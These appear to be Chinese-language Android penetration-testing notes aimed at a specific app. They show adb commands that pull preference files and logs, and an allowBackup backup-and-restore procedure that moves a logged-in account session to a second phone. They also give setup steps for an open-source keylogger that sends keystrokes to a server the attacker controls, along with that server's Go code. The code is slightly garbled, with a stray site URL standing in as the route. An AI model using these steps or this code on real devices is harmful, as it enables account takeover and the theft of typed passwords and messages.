xml配置文件一般在shared_prefs下面
将其拷贝出来
adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs比如小小书的公告内容写在了配置中(这里应该是通过网络传输更新配置文件的)
Logcat 日志导出
adb shell logcat -d > 1.txt使用文件编辑器全局搜索翻阅
静态资源备份打包AllowBackup属性设置为true,则存在备份打包漏洞,使用原理如手机A某app登录了账号,该app的AllowBackup属性设置为true,此时在手机A上打包该app并导出,将导出的apk重新放入手机B中,手机B默认登录手机A中的账号
#连接手机A adb kill-server adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs #连接手机B adb kill-server adb devices adb restore com.xxs.leon.xxs.ab准备手机A
手机B未登录
把小小书进行备份,并且将备份写入手机B
成功登陆
键盘记录漏洞github项目
https://github.com/bshu2/Android-Keylogger
需要自己编译apk,自己编译时将apk的url路径改为自己的公网服务器地址
之后在服务器上启动server.go服务,这里需要改动下,将init内容写到main函数中,并且将包改为package main,端口号与apk中的修改的url地址相对应即可
package main import ( "io/ioutil" "fmt" "strings" "net/http" ) var entries = []string{} func init() { http.HandleFunc("http://www.likecs.com/", handler) http.ListenAndServe(":5001", nil) } func handler(w http.ResponseWriter, r *http.Request) { switch r.Method { case "GET": //serve the resource fmt.Fprintf(w, "<table><tr><th>Timestamp</th><th>Action</th><th>Data</th></tr>") for i, _ := range entries { fmt.Fprintf(w, "%s", entries[len(entries) - i - 1]) } fmt.Fprintf(w, "</table>") case "POST": //add entry body, err := ioutil.ReadAll(r.Body) if err != nil { fmt.Fprintf(w, err.Error()) } entry := strings.SplitN(string(body), "|", 3) new_entry := fmt.Sprintf("<tr><td>%s</td><td>%s</td> <td>%s</td></tr>", entry[0], entry[1], entry[2]) entries = append(entries, new_entry) if len(entries) > 100 { entries = entries[1:] } fmt.Fprintf(w, "POST\n") default: //do nothing } } func main(){ http.HandleFunc("http://www.likecs.com/", handler) http.ListenAndServe(":5001", nil) }启动server
go run server.go手机上启动app需要root权限,将app挂到后台
输入的记录,将发送到go语言启动的web服务器
以上操作需要root权限,并且很变态在于自定义键盘也可以获取输入内容